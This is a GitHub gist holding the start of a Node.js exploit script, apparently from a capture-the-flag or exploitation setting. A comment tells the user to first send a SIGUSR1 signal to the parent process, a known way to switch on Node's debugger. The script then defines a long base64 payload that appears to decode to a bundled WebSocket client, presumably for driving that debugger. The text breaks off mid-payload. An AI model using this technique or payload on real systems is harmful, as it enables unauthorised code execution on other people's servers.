Skip to content

Instantly share code, notes, and snippets.

@strellic
Created August 26, 2024 15:39
Show Gist options
  • Save strellic/48e797fd875c09636919f4de3a2911c6 to your computer and use it in GitHub Desktop.
Save strellic/48e797fd875c09636919f4de3a2911c6 to your computer and use it in GitHub Desktop.
// first send this, then send the whole script
// process.kill(process.ppid, "SIGUSR1")
const fs = require("fs");
const wsPayload = `KCgpPT57dmFyIF9fd2VicGFja19tb2R1bGVzX189ezI5NihlLHQscyl7InVzZSBzdHJpY3QiO2xldCBpPXMoODEpO2kuY3JlYXRlV2ViU29ja2V0U3RyZWFtPXMoMjUpLGkuU2VydmVyPXMoMTQzKSxpLlJlY2VpdmVyPXMoMzE1KSxpLlNlbmRlcj1zKDY3NSksaS5XZWJTb2NrZXQ9aSxpLldlYlNvY2tldFNlcnZlcj1pLlNlcnZlcixlLmV4cG9ydHM9aX0sNzI4KGUsdCxzKXsidXNlIHN0cmljdCI7bGV0e0VNUFRZX0JVRkZFUjppfT1zKDc0Mikscj1CdWZmZXJbU3ltYm9sLnNwZWNpZXNdO2Z1bmN0aW9uIG8oZSx0KXtpZigwPT09ZS5sZW5ndGgpcmV0dXJuIGk7aWYoMT09PWUubGVuZ3RoKXJldHVybiBlWzBdO2xldCBzPUJ1ZmZlci5hbGxvY1Vuc2FmZSh0KSxvPTA7Zm9yKGxldCBuPTA7bjxlLmxlbmd0aDtuKyspe2xldCBhPWVbbl07cy5zZXQoYSxvKSxvKz1hLmxlbmd0aH1yZXR1cm4gbzx0P25ldyByKHMuYnVmZmVyLHMuYnl0ZU9mZnNldCxvKTpzfWZ1bmN0aW9uIG4oZSx0LHMsaSxyKXtmb3IobGV0IG89MDtvPHI7bysrKXNbaStvXT1lW29dXnRbMyZvXX1mdW5jdGlvbiBhKGUsdCl7Zm9yKGxldCBzPTA7czxlLmxlbmd0aDtzKyspZVtzXV49dFszJnNdfWZ1bmN0aW9uIGgoZSl7cmV0dXJuIGUubGVuZ3RoPT09ZS5idWZmZXIuYnl0ZUxlbmd0aD9lLmJ1ZmZlcjplLmJ1ZmZlci5zbGljZShlLmJ5dGVPZmZzZXQsZS5ieXRlT2Zmc2V0K2UubGVuZ3RoKX1mdW5jdGlvbiBsKGUpe2lmKGwucmVhZE9ubHk9ITAsQnVmZmVyLmlzQnVmZmVyKGUpKXJldHVybiBlO2xldCB0O3JldHVybiBlIGluc3RhbmNlb2YgQXJyYXlCdWZmZXI/dD1uZXcgcihlKTpBcnJheUJ1ZmZlci5pc1ZpZXcoZSk/dD1uZXcgcihlLmJ1ZmZlcixlLmJ5dGVPZmZzZXQsZS5ieXRlTGVuZ3RoKToodD1CdWZmZXIuZnJvbShlKSxsLnJlYWRPbmx5PSExKSx0fWlmKGUuZXhwb3J0cz17Y29uY2F0Om8sbWFzazpuLHRvQXJyYXlCdWZmZXI6aCx0b0J1ZmZlcjpsLHVubWFzazphfSwhcHJvY2Vzcy5lbnYuV1NfTk9fQlVGRkVSX1VUSUwpdHJ5e2xldCBjPXMoNDg4KTtlLmV4cG9ydHMubWFzaz1mdW5jdGlvbihlLHQscyxpLHIpe3I8NDg/bihlLHQscyxpLHIpOmMubWFzayhlLHQscyxpLHIpfSxlLmV4cG9ydHMudW5tYXNrPWZ1bmN0aW9uKGUsdCl7ZS5sZW5ndGg8MzI/YShlLHQpOmMudW5tYXNrKGUsdCl9fWNhdGNoKGQpe319LDc0MihlKXsidXNlIHN0cmljdCI7bGV0IHQ9WyJub2RlYnVmZmVyIiwiYXJyYXlidWZmZXIiLCJmcmFnbWVudHMiXSxzPSJ1bmRlZmluZWQiIT10eXBlb2YgQmxvYjtzJiZ0LnB1c2goImJsb2IiKSxlLmV4cG9ydHM9e0JJTkFSWV9UWVBFUzp0LEVNUFRZX0JVRkZFUjpCdWZmZXIuYWxsb2MoMCksR1VJRDoiMjU4RUFGQTUtRTkxNC00N0RBLTk1Q0EtQzVBQjBEQzg1QjExIixoYXNCbG9iOnMsa0Zvck9uRXZlbnRBdHRyaWJ1dGU6U3ltYm9sKCJrSXNGb3JPbkV2ZW50QXR0cmlidXRlIiksa0xpc3RlbmVyOlN5bWJvbCgia0xpc3RlbmVyIiksa1N0YXR1c0NvZGU6U3ltYm9sKCJzdGF0dXMtY29kZSIpLGtXZWJTb2NrZXQ6U3ltYm9sKCJ3ZWJzb2NrZXQiKSxOT09QKCl7fX19LDQ2MyhlLHQscyl7InVzZSBzdHJpY3QiO2xldHtrRm9yT25FdmVudEF0dHJpYnV0ZTppLGtMaXN0ZW5lcjpyfT1zKDc0Miksbz1TeW1ib2woImtDb2RlIiksbj1TeW1ib2woImtEYXRhIiksYT1TeW1ib2woImtFcnJvciIpLGg9U3ltYm9sKCJrTWVzc2FnZSIpLGw9U3ltYm9sKCJrUmVhc29uIiksYz1TeW1ib2woImtUYXJnZXQiKSxkPVN5bWJvbCgia1R5cGUiKSxmPVN5bWJvbCgia1dhc0NsZWFuIik7Y2xhc3MgdXtjb25zdHJ1Y3RvcihlKXt0aGlzW2NdPW51bGwsdGhpc1tkXT1lfWdldCB0YXJnZXQoKXtyZXR1cm4gdGhpc1tjXX1nZXQgdHlwZSgpe3JldHVybiB0aGlzW2RdfX1PYmplY3QuZGVmaW5lUHJvcGVydHkodS5wcm90b3R5cGUsInRhcmdldCIse2VudW1lcmFibGU6ITB9KSxPYmplY3QuZGVmaW5lUHJvcGVydHkodS5wcm90b3R5cGUsInR5cGUiLHtlbnVtZXJhYmxlOiEwfSk7Y2xhc3MgJCBleHRlbmRzIHV7Y29uc3RydWN0b3IoZSx0PXt9KXtzdXBlcihlKSx0aGlzW29dPXZvaWQgMD09PXQuY29kZT8wOnQuY29kZSx0aGlzW2xdPXZvaWQgMD09PXQucmVhc29uPyIiOnQucmVhc29uLHRoaXNbZl09dm9pZCAwIT09dC53YXNDbGVhbiYmdC53YXNDbGVhbn1nZXQgY29kZSgpe3JldHVybiB0aGlzW29dfWdldCByZWFzb24oKXtyZXR1cm4gdGhpc1tsXX1nZXQgd2FzQ2xlYW4oKXtyZXR1cm4gdGhpc1tmXX19T2JqZWN0LmRlZmluZVByb3BlcnR5KCQucHJvdG90eXBlLCJjb2RlIix7ZW51bWVyYWJsZTohMH0pLE9iamVjdC5kZWZpbmVQcm9wZXJ0eSgkLnByb3RvdHlwZSwicmVhc29uIix7ZW51bWVyYWJsZTohMH0pLE9iamVjdC5kZWZpbmVQcm9wZXJ0eSgkLnByb3RvdHlwZSwid2FzQ2xlYW4iLHtlbnVtZXJhYmxlOiEwfSk7Y2xhc3MgcCBleHRlbmRzIHV7Y29uc3RydWN0b3IoZSx0PXt9KXtzdXBlcihlKSx0aGlzW2FdPXZvaWQgMD09PXQuZXJyb3I/bnVsbDp0LmVycm9yLHRoaXNbaF09dm9pZCAwPT09dC5tZXNzYWdlPyIiOnQubWVzc2FnZX1nZXQgZXJyb3IoKXtyZXR1cm4gdGhpc1thXX1nZXQgbWVzc2FnZSgpe3JldHVybiB0aGlzW2hdfX1PYmplY3QuZGVmaW5lUHJvcGVydHkocC5wcm90b3R5cGUsImVycm9yIix7ZW51bWVyYWJsZTohMH0pLE9iamVjdC5kZWZpbmVQcm9wZXJ0eShwLnByb3RvdHlwZSwibWVzc2FnZSIse2VudW1lcmFibGU6ITB9KTtjbGFzcyBtIGV4dGVuZHMgdXtjb25zdHJ1Y3RvcihlLHQ9e30pe3N1cGVyKGUpLHRoaXNbbl09dm9pZCAwPT09dC5kYXRhP251bGw6dC5kYXRhfWdldCBkYXRhKCl7cmV0dXJuIHRoaXNbbl19fU9iamVjdC5kZWZpbmVQcm9wZXJ0eShtLnByb3RvdHlwZSwiZGF0YSIse2VudW1lcmFibGU6ITB9KTtsZXQgXz17YWRkRXZlbnRMaXN0ZW5lcihlLHQscz17fSl7Zm9yKGxldCBvIG9mIHRoaXMubGlzdGVuZXJzKGUpKWlmKCFzW2ldJiZvW3JdPT09dCYmIW9baV0pcmV0dXJuO2xldCBuO2lmKCJtZXNzYWdlIj09PWUpbj1mdW5jdGlvbiBlKHMsaSl7bGV0IHI9bmV3IG0oIm1lc3NhZ2UiLHtkYXRhOmk/czpzLnRvU3RyaW5nKCl9KTtyW2NdPXRoaXMsZyh0LHRoaXMscil9O2Vsc2UgaWYoImNsb3NlIj09PWUpbj1mdW5jdGlvbiBlKHMsaSl7bGV0IHI9bmV3ICQoImNsb3NlIix7Y29kZTpzLHJlYXNvbjppLnRvU3RyaW5nKCksd2FzQ2xlYW46dGhpcy5fY2xvc2VGcmFtZVJlY2VpdmVkJiZ0aGlzLl9jbG9zZUZyYW1lU2VudH0pO3JbY109dGhpcyxnKHQsdGhpcyxyKX07ZWxzZSBpZigiZXJyb3IiPT09ZSluPWZ1bmN0aW9uIGUocyl7bGV0IGk9bmV3IHAoImVycm9yIix7ZXJyb3I6cyxtZXNzYWdlOnMubWVzc2FnZX0pO2lbY109dGhpcyxnKHQsdGhpcyxpKX07ZWxzZXtpZigib3BlbiIhPT1lKXJldHVybjtuPWZ1bmN0aW9uIGUoKXtsZXQgcz1uZXcgdSgib3BlbiIpO3NbY109dGhpcyxnKHQsdGhpcyxzKX19bltpXT0hIXNbaV0sbltyXT10LHMub25jZT90aGlzLm9uY2UoZSxuKTp0aGlzLm9uKGUsbil9LHJlbW92ZUV2ZW50TGlzdGVuZXIoZSx0KXtmb3IobGV0IHMgb2YgdGhpcy5saXN0ZW5lcnMoZSkpaWYoc1tyXT09PXQmJiFzW2ldKXt0aGlzLnJlbW92ZUxpc3RlbmVyKGUscyk7YnJlYWt9fX07ZnVuY3Rpb24gZyhlLHQscyl7Im9iamVjdCI9PXR5cGVvZiBlJiZlLmhhbmRsZUV2ZW50P2UuaGFuZGxlRXZlbnQuY2FsbChlLHMpOmUuY2FsbCh0LHMpfWUuZXhwb3J0cz17Q2xvc2VFdmVudDokLEVycm9yRXZlbnQ6cCxFdmVudDp1LEV2ZW50VGFyZ2V0Ol8sTWVzc2FnZUV2ZW50Om19fSw5OTEoZSx0LHMpeyJ1c2Ugc3RyaWN0IjtsZXR7dG9rZW5DaGFyczppfT1zKDg4Myk7ZnVuY3Rpb24gcihlLHQscyl7dm9pZCAwPT09ZVt0XT9lW3RdPVtzXTplW3RdLnB1c2gocyl9ZnVuY3Rpb24gbyhlKXtsZXQgdD1PYmplY3QuY3JlYXRlKG51bGwpLHM9T2JqZWN0LmNyZWF0ZShudWxsKSxvPSExLG49ITEsYT0hMSxoLGwsYz0tMSxkPS0xLGY9LTEsdT0wO2Zvcig7dTxlLmxlbmd0aDt1KyspaWYoZD1lLmNoYXJDb2RlQXQodSksdm9pZCAwPT09aCl7aWYoLTE9PT1mJiYxPT09aVtkXSktMT09PWMmJihjPXUpO2Vsc2UgaWYoMCE9PXUmJigzMj09PWR8fDk9PT1kKSktMT09PWYmJi0xIT09YyYmKGY9dSk7ZWxzZSBpZig1OT09PWR8fDQ0PT09ZCl7aWYoLTE9PT1jKXRocm93IFN5bnRheEVycm9yKGBVbmV4cGVjdGVkIGNoYXJhY3RlciBhdCBpbmRleCAke3V9YCk7LTE9PT1mJiYoZj11KTtsZXQgJD1lLnNsaWNlKGMsZik7NDQ9PT1kPyhyKHQsJCxzKSxzPU9iamVjdC5jcmVhdGUobnVsbCkpOmg9JCxjPWY9LTF9ZWxzZSB0aHJvdyBTeW50YXhFcnJvcihgVW5leHBlY3RlZCBjaGFyYWN0ZXIgYXQgaW5kZXggJHt1fWApfWVsc2UgaWYodm9pZCAwPT09bCl7aWYoLTE9PT1mJiYxPT09aVtkXSktMT09PWMmJihjPXUpO2Vsc2UgaWYoMzI9PT1kfHw5PT09ZCktMT09PWYmJi0xIT09YyYmKGY9dSk7ZWxzZSBpZig1OT09PWR8fDQ0PT09ZCl7aWYoLTE9PT1jKXRocm93IFN5bnRheEVycm9yKGBVbmV4cGVjdGVkIGNoYXJhY3RlciBhdCBpbmRleCAke3V9YCk7LTE9PT1mJiYoZj11KSxyKHMsZS5zbGljZShjLGYpLCEwKSw0ND09PWQmJihyKHQsaCxzKSxzPU9iamVjdC5jcmVhdGUobnVsbCksaD12b2lkIDApLGM9Zj0tMX1lbHNlIGlmKDYxPT09ZCYmLTEhPT1jJiYtMT09PWYpbD1lLnNsaWNlKGMsdSksYz1mPS0xO2Vsc2UgdGhyb3cgU3ludGF4RXJyb3IoYFVuZXhwZWN0ZWQgY2hhcmFjdGVyIGF0IGluZGV4ICR7dX1gKX1lbHNlIGlmKG4pe2lmKDEhPT1pW2RdKXRocm93IFN5bnRheEVycm9yKGBVbmV4cGVjdGVkIGNoYXJhY3RlciBhdCBpbmRleCAke3V9YCk7LTE9PT1jP2M9dTpvfHwobz0hMCksbj0hMX1lbHNlIGlmKGEpe2lmKDE9PT1pW2RdKS0xPT09YyYmKGM9dSk7ZWxzZSBpZigzND09PWQmJi0xIT09YylhPSExLGY9dTtlbHNlIGlmKDkyPT09ZCluPSEwO2Vsc2UgdGhyb3cgU3ludGF4RXJyb3IoYFVuZXhwZWN0ZWQgY2hhcmFjdGVyIGF0IGluZGV4ICR7dX1gKX1lbHNlIGlmKDM0PT09ZCYmNjE9PT1lLmNoYXJDb2RlQXQodS0xKSlhPSEwO2Vsc2UgaWYoLTE9PT1mJiYxPT09aVtkXSktMT09PWMmJihjPXUpO2Vsc2UgaWYoLTEhPT1jJiYoMzI9PT1kfHw5PT09ZCkpLTE9PT1mJiYoZj11KTtlbHNlIGlmKDU5PT09ZHx8NDQ9PT1kKXtpZigtMT09PWMpdGhyb3cgU3ludGF4RXJyb3IoYFVuZXhwZWN0ZWQgY2hhcmFjdGVyIGF0IGluZGV4ICR7dX1gKTstMT09PWYmJihmPXUpO2xldCBwPWUuc2xpY2UoYyxmKTtvJiYocD1wLnJlcGxhY2UoL1xcL2csIiIpLG89ITEpLHIocyxsLHApLDQ0PT09ZCYmKHIodCxoLHMpLHM9T2JqZWN0LmNyZWF0ZShudWxsKSxoPXZvaWQgMCksbD12b2lkIDAsYz1mPS0xfWVsc2UgdGhyb3cgU3ludGF4RXJyb3IoYFVuZXhwZWN0ZWQgY2hhcmFjdGVyIGF0IGluZGV4ICR7dX1gKTtpZigtMT09PWN8fGF8fDMyPT09ZHx8OT09PWQpdGhyb3cgU3ludGF4RXJyb3IoIlVuZXhwZWN0ZWQgZW5kIG9mIGlucHV0Iik7LTE9PT1mJiYoZj11KTtsZXQgbT1lLnNsaWNlKGMsZik7cmV0dXJuIHZvaWQgMD09PWg/cih0LG0scyk6KHZvaWQgMD09PWw/cihzLG0sITApOm8/cihzLGwsbS5yZXBsYWNlKC9cXC9nLCIiKSk6cihzLGwsbSkscih0LGgscykpLHR9ZnVuY3Rpb24gbihlKXtyZXR1cm4gT2JqZWN0LmtleXMoZSkubWFwKHQ9PntsZXQgcz1lW3RdO3JldHVybiBBcnJheS5pc0FycmF5KHMpfHwocz1bc10pLHMubWFwKGU9Plt0XS5jb25jYXQoT2JqZWN0LmtleXMoZSkubWFwKHQ9PntsZXQgcz1lW3RdO3JldHVybiBBcnJheS5pc0FycmF5KHMpfHwocz1bc10pLHMubWFwKGU9PiEwPT09ZT90OmAke3R9PSR7ZX1gKS5qb2luKCI7ICIpfSkpLmpvaW4oIjsgIikpLmpvaW4oIiwgIil9KS5qb2luKCIsICIpfWUuZXhwb3J0cz17Zm9ybWF0Om4scGFyc2U6b319LDE1NChlKXsidXNlIHN0cmljdCI7bGV0IHQ9U3ltYm9sKCJrRG9uZSIpLHM9U3ltYm9sKCJrUnVuIik7Y2xhc3MgaXtjb25zdHJ1Y3RvcihlKXt0aGlzW3RdPSgpPT57dGhpcy5wZW5kaW5nLS0sdGhpc1tzXSgpfSx0aGlzLmNvbmN1cnJlbmN5PWV8fDEvMCx0aGlzLmpvYnM9W10sdGhpcy5wZW5kaW5nPTB9YWRkKGUpe3RoaXMuam9icy5wdXNoKGUpLHRoaXNbc10oKX1bc10oKXtpZih0aGlzLnBlbmRpbmchPT10aGlzLmNvbmN1cnJlbmN5JiZ0aGlzLmpvYnMubGVuZ3RoKXtsZXQgZT10aGlzLmpvYnMuc2hpZnQoKTt0aGlzLnBlbmRpbmcrKyxlKHRoaXNbdF0pfX19ZS5leHBvcnRzPWl9LDY1OChlLHQscyl7InVzZSBzdHJpY3QiO2xldCBpPXMoNzk2KSxyPXMoNzI4KSxvPXMoMTU0KSx7a1N0YXR1c0NvZGU6bn09cyg3NDIpLGE9QnVmZmVyW1N5bWJvbC5zcGVjaWVzXSxoPUJ1ZmZlci5mcm9tKFswLDAsMjU1LDI1NV0pLGw9U3ltYm9sKCJwZXJtZXNzYWdlLWRlZmxhdGUiKSxjPVN5bWJvbCgidG90YWwtbGVuZ3RoIiksZD1TeW1ib2woImNhbGxiYWNrIiksZj1TeW1ib2woImJ1ZmZlcnMiKSx1PVN5bWJvbCgiZXJyb3IiKSwkO2NsYXNzIHB7Y29uc3RydWN0b3IoZSx0LHMpe2lmKHRoaXMuX21heFBheWxvYWQ9MHxzLHRoaXMuX29wdGlvbnM9ZXx8e30sdGhpcy5fdGhyZXNob2xkPXZvaWQgMCE9PXRoaXMuX29wdGlvbnMudGhyZXNob2xkP3RoaXMuX29wdGlvbnMudGhyZXNob2xkOjEwMjQsdGhpcy5faXNTZXJ2ZXI9ISF0LHRoaXMuX2RlZmxhdGU9bnVsbCx0aGlzLl9pbmZsYXRlPW51bGwsdGhpcy5wYXJhbXM9bnVsbCwhJCl7bGV0IGk9dm9pZCAwIT09dGhpcy5fb3B0aW9ucy5jb25jdXJyZW5jeUxpbWl0P3RoaXMuX29wdGlvbnMuY29uY3VycmVuY3lMaW1pdDoxMDskPW5ldyBvKGkpfX1zdGF0aWMgZ2V0IGV4dGVuc2lvbk5hbWUoKXtyZXR1cm4icGVybWVzc2FnZS1kZWZsYXRlIn1vZmZlcigpe2xldCBlPXt9O3JldHVybiB0aGlzLl9vcHRpb25zLnNlcnZlck5vQ29udGV4dFRha2VvdmVyJiYoZS5zZXJ2ZXJfbm9fY29udGV4dF90YWtlb3Zlcj0hMCksdGhpcy5fb3B0aW9ucy5jbGllbnROb0NvbnRleHRUYWtlb3ZlciYmKGUuY2xpZW50X25vX2NvbnRleHRfdGFrZW92ZXI9ITApLHRoaXMuX29wdGlvbnMuc2VydmVyTWF4V2luZG93Qml0cyYmKGUuc2VydmVyX21heF93aW5kb3dfYml0cz10aGlzLl9vcHRpb25zLnNlcnZlck1heFdpbmRvd0JpdHMpLHRoaXMuX29wdGlvbnMuY2xpZW50TWF4V2luZG93Qml0cz9lLmNsaWVudF9tYXhfd2luZG93X2JpdHM9dGhpcy5fb3B0aW9ucy5jbGllbnRNYXhXaW5kb3dCaXRzOm51bGw9PXRoaXMuX29wdGlvbnMuY2xpZW50TWF4V2luZG93Qml0cyYmKGUuY2xpZW50X21heF93aW5kb3dfYml0cz0hMCksZX1hY2NlcHQoZSl7cmV0dXJuIGU9dGhpcy5ub3JtYWxpemVQYXJhbXMoZSksdGhpcy5wYXJhbXM9dGhpcy5faXNTZXJ2ZXI/dGhpcy5hY2NlcHRBc1NlcnZlcihlKTp0aGlzLmFjY2VwdEFzQ2xpZW50KGUpLHRoaXMucGFyYW1zfWNsZWFudXAoKXtpZih0aGlzLl9pbmZsYXRlJiYodGhpcy5faW5mbGF0ZS5jbG9zZSgpLHRoaXMuX2luZmxhdGU9bnVsbCksdGhpcy5fZGVmbGF0ZSl7bGV0IGU9dGhpcy5fZGVmbGF0ZVtkXTt0aGlzLl9kZWZsYXRlLmNsb3NlKCksdGhpcy5fZGVmbGF0ZT1udWxsLGUmJmUoRXJyb3IoIlRoZSBkZWZsYXRlIHN0cmVhbSB3YXMgY2xvc2VkIHdoaWxlIGRhdGEgd2FzIGJlaW5nIHByb2Nlc3NlZCIpKX19YWNjZXB0QXNTZXJ2ZXIoZSl7bGV0IHQ9dGhpcy5fb3B0aW9ucyxzPWUuZmluZChlPT4oITEhPT10LnNlcnZlck5vQ29udGV4dFRha2VvdmVyfHwhZS5zZXJ2ZXJfbm9fY29udGV4dF90YWtlb3ZlcikmJighZS5zZXJ2ZXJfbWF4X3dpbmRvd19iaXRzfHwhMSE9PXQuc2VydmVyTWF4V2luZG93Qml0cyYmKCJudW1iZXIiIT10eXBlb2YgdC5zZXJ2ZXJNYXhXaW5kb3dCaXRzfHwhKHQuc2VydmVyTWF4V2luZG93Qml0cz5lLnNlcnZlcl9tYXhfd2luZG93X2JpdHMpKSkmJigibnVtYmVyIiE9dHlwZW9mIHQuY2xpZW50TWF4V2luZG93Qml0c3x8ISFlLmNsaWVudF9tYXhfd2luZG93X2JpdHMpKTtpZighcyl0aHJvdyBFcnJvcigiTm9uZSBvZiB0aGUgZXh0ZW5zaW9uIG9mZmVycyBjYW4gYmUgYWNjZXB0ZWQiKTtyZXR1cm4gdC5zZXJ2ZXJOb0NvbnRleHRUYWtlb3ZlciYmKHMuc2VydmVyX25vX2NvbnRleHRfdGFrZW92ZXI9ITApLHQuY2xpZW50Tm9Db250ZXh0VGFrZW92ZXImJihzLmNsaWVudF9ub19jb250ZXh0X3Rha2VvdmVyPSEwKSwibnVtYmVyIj09dHlwZW9mIHQuc2VydmVyTWF4V2luZG93Qml0cyYmKHMuc2VydmVyX21heF93aW5kb3dfYml0cz10LnNlcnZlck1heFdpbmRvd0JpdHMpLCJudW1iZXIiPT10eXBlb2YgdC5jbGllbnRNYXhXaW5kb3dCaXRzP3MuY2xpZW50X21heF93aW5kb3dfYml0cz10LmNsaWVudE1heFdpbmRvd0JpdHM6KCEwPT09cy5jbGllbnRfbWF4X3dpbmRvd19iaXRzfHwhMT09PXQuY2xpZW50TWF4V2luZG93Qml0cykmJmRlbGV0ZSBzLmNsaWVudF9tYXhfd2luZG93X2JpdHMsc31hY2NlcHRBc0NsaWVudChlKXtsZXQgdD1lWzBdO2lmKCExPT09dGhpcy5fb3B0aW9ucy5jbGllbnROb0NvbnRleHRUYWtlb3ZlciYmdC5jbGllbnRfbm9fY29udGV4dF90YWtlb3Zlcil0aHJvdyBFcnJvcignVW5leHBlY3RlZCBwYXJhbWV0ZXIgImNsaWVudF9ub19jb250ZXh0X3Rha2VvdmVyIicpO2lmKHQuY2xpZW50X21heF93aW5kb3dfYml0cyl7aWYoITE9PT10aGlzLl9vcHRpb25zLmNsaWVudE1heFdpbmRvd0JpdHN8fCJudW1iZXIiPT10eXBlb2YgdGhpcy5fb3B0aW9ucy5jbGllbnRNYXhXaW5kb3dCaXRzJiZ0LmNsaWVudF9tYXhfd2luZG93X2JpdHM+dGhpcy5fb3B0aW9ucy5jbGllbnRNYXhXaW5kb3dCaXRzKXRocm93IEVycm9yKCdVbmV4cGVjdGVkIG9yIGludmFsaWQgcGFyYW1ldGVyICJjbGllbnRfbWF4X3dpbmRvd19iaXRzIicpfWVsc2UibnVtYmVyIj09dHlwZW9mIHRoaXMuX29wdGlvbnMuY2xpZW50TWF4V2luZG93Qml0cyYmKHQuY2xpZW50X21heF93aW5kb3dfYml0cz10aGlzLl9vcHRpb25zLmNsaWVudE1heFdpbmRvd0JpdHMpO3JldHVybiB0fW5vcm1hbGl6ZVBhcmFtcyhlKXtyZXR1cm4gZS5mb3JFYWNoKGU9PntPYmplY3Qua2V5cyhlKS5mb3JFYWNoKHQ9PntsZXQgcz1lW3RdO2lmKHMubGVuZ3RoPjEpdGhyb3cgRXJyb3IoYFBhcmFtZXRlciAiJHt0fSIgbXVzdCBoYXZlIG9ubHkgYSBzaW5nbGUgdmFsdWVgKTtpZihzPXNbMF0sImNsaWVudF9tYXhfd2luZG93X2JpdHMiPT09dCl7aWYoITAhPT1zKXtsZXQgaT0rcztpZighTnVtYmVyLmlzSW50ZWdlcihpKXx8aTw4fHxpPjE1KXRocm93IFR5cGVFcnJvcihgSW52YWxpZCB2YWx1ZSBmb3IgcGFyYW1ldGVyICIke3R9IjogJHtzfWApO3M9aX1lbHNlIGlmKCF0aGlzLl9pc1NlcnZlcil0aHJvdyBUeXBlRXJyb3IoYEludmFsaWQgdmFsdWUgZm9yIHBhcmFtZXRlciAiJHt0fSI6ICR7c31gKX1lbHNlIGlmKCJzZXJ2ZXJfbWF4X3dpbmRvd19iaXRzIj09PXQpe2xldCByPStzO2lmKCFOdW1iZXIuaXNJbnRlZ2VyKHIpfHxyPDh8fHI+MTUpdGhyb3cgVHlwZUVycm9yKGBJbnZhbGlkIHZhbHVlIGZvciBwYXJhbWV0ZXIgIiR7dH0iOiAke3N9YCk7cz1yfWVsc2UgaWYoImNsaWVudF9ub19jb250ZXh0X3Rha2VvdmVyIj09PXR8fCJzZXJ2ZXJfbm9fY29udGV4dF90YWtlb3ZlciI9PT10KXtpZighMCE9PXMpdGhyb3cgVHlwZUVycm9yKGBJbnZhbGlkIHZhbHVlIGZvciBwYXJhbWV0ZXIgIiR7dH0iOiAke3N9YCl9ZWxzZSB0aHJvdyBFcnJvcihgVW5rbm93biBwYXJhbWV0ZXIgIiR7dH0iYCk7ZVt0XT1zfSl9KSxlfWRlY29tcHJlc3MoZSx0LHMpeyQuYWRkKGk9Pnt0aGlzLl9kZWNvbXByZXNzKGUsdCwoZSx0KT0+e2koKSxzKGUsdCl9KX0pfWNvbXByZXNzKGUsdCxzKXskLmFkZChpPT57dGhpcy5fY29tcHJlc3MoZSx0LChlLHQpPT57aSgpLHMoZSx0KX0pfSl9X2RlY29tcHJlc3MoZSx0LHMpe2xldCBvPXRoaXMuX2lzU2VydmVyPyJjbGllbnQiOiJzZXJ2ZXIiO2lmKCF0aGlzLl9pbmZsYXRlKXtsZXQgbj1gJHtvfV9tYXhfd2luZG93X2JpdHNgLGE9Im51bWJlciIhPXR5cGVvZiB0aGlzLnBhcmFtc1tuXT9pLlpfREVGQVVMVF9XSU5ET1dCSVRTOnRoaXMucGFyYW1zW25dO3RoaXMuX2luZmxhdGU9aS5jcmVhdGVJbmZsYXRlUmF3KHsuLi50aGlzLl9vcHRpb25zLnpsaWJJbmZsYXRlT3B0aW9ucyx3aW5kb3dCaXRzOmF9KSx0aGlzLl9pbmZsYXRlW2xdPXRoaXMsdGhpcy5faW5mbGF0ZVtjXT0wLHRoaXMuX2luZmxhdGVbZl09W10sdGhpcy5faW5mbGF0ZS5vbigiZXJyb3IiLGcpLHRoaXMuX2luZmxhdGUub24oImRhdGEiLF8pfXRoaXMuX2luZmxhdGVbZF09cyx0aGlzLl9pbmZsYXRlLndyaXRlKGUpLHQmJnRoaXMuX2luZmxhdGUud3JpdGUoaCksdGhpcy5faW5mbGF0ZS5mbHVzaCgoKT0+e2xldCBlPXRoaXMuX2luZmxhdGVbdV07aWYoZSl7dGhpcy5faW5mbGF0ZS5jbG9zZSgpLHRoaXMuX2luZmxhdGU9bnVsbCxzKGUpO3JldHVybn1sZXQgaT1yLmNvbmNhdCh0aGlzLl9pbmZsYXRlW2ZdLHRoaXMuX2luZmxhdGVbY10pO3RoaXMuX2luZmxhdGUuX3JlYWRhYmxlU3RhdGUuZW5kRW1pdHRlZD8odGhpcy5faW5mbGF0ZS5jbG9zZSgpLHRoaXMuX2luZmxhdGU9bnVsbCk6KHRoaXMuX2luZmxhdGVbY109MCx0aGlzLl9pbmZsYXRlW2ZdPVtdLHQmJnRoaXMucGFyYW1zW2Ake299X25vX2NvbnRleHRfdGFrZW92ZXJgXSYmdGhpcy5faW5mbGF0ZS5yZXNldCgpKSxzKG51bGwsaSl9KX1fY29tcHJlc3MoZSx0LHMpe2xldCBvPXRoaXMuX2lzU2VydmVyPyJzZXJ2ZXIiOiJjbGllbnQiO2lmKCF0aGlzLl9kZWZsYXRlKXtsZXQgbj1gJHtvfV9tYXhfd2luZG93X2JpdHNgLGg9Im51bWJlciIhPXR5cGVvZiB0aGlzLnBhcmFtc1tuXT9pLlpfREVGQVVMVF9XSU5ET1dCSVRTOnRoaXMucGFyYW1zW25dO3RoaXMuX2RlZmxhdGU9aS5jcmVhdGVEZWZsYXRlUmF3KHsuLi50aGlzLl9vcHRpb25zLnpsaWJEZWZsYXRlT3B0aW9ucyx3aW5kb3dCaXRzOmh9KSx0aGlzLl9kZWZsYXRlW2NdPTAsdGhpcy5fZGVmbGF0ZVtmXT1bXSx0aGlzLl9kZWZsYXRlLm9uKCJkYXRhIixtKX10aGlzLl9kZWZsYXRlW2RdPXMsdGhpcy5fZGVmbGF0ZS53cml0ZShlKSx0aGlzLl9kZWZsYXRlLmZsdXNoKGkuWl9TWU5DX0ZMVVNILCgpPT57aWYoIXRoaXMuX2RlZmxhdGUpcmV0dXJuO2xldCBlPXIuY29uY2F0KHRoaXMuX2RlZmxhdGVbZl0sdGhpcy5fZGVmbGF0ZVtjXSk7dCYmKGU9bmV3IGEoZS5idWZmZXIsZS5ieXRlT2Zmc2V0LGUubGVuZ3RoLTQpKSx0aGlzLl9kZWZsYXRlW2RdPW51bGwsdGhpcy5fZGVmbGF0ZVtjXT0wLHRoaXMuX2RlZmxhdGVbZl09W10sdCYmdGhpcy5wYXJhbXNbYCR7b31fbm9fY29udGV4dF90YWtlb3ZlcmBdJiZ0aGlzLl9kZWZsYXRlLnJlc2V0KCkscyhudWxsLGUpfSl9fWZ1bmN0aW9uIG0oZSl7dGhpc1tmXS5wdXNoKGUpLHRoaXNbY10rPWUubGVuZ3RofWZ1bmN0aW9uIF8oZSl7aWYodGhpc1tjXSs9ZS5sZW5ndGgsdGhpc1tsXS5fbWF4UGF5bG9hZDwxfHx0aGlzW2NdPD10aGlzW2xdLl9tYXhQYXlsb2FkKXt0aGlzW2ZdLnB1c2goZSk7cmV0dXJufXRoaXNbdV09UmFuZ2VFcnJvcigiTWF4IHBheWxvYWQgc2l6ZSBleGNlZWRlZCIpLHRoaXNbdV0uY29kZT0iV1NfRVJSX1VOU1VQUE9SVE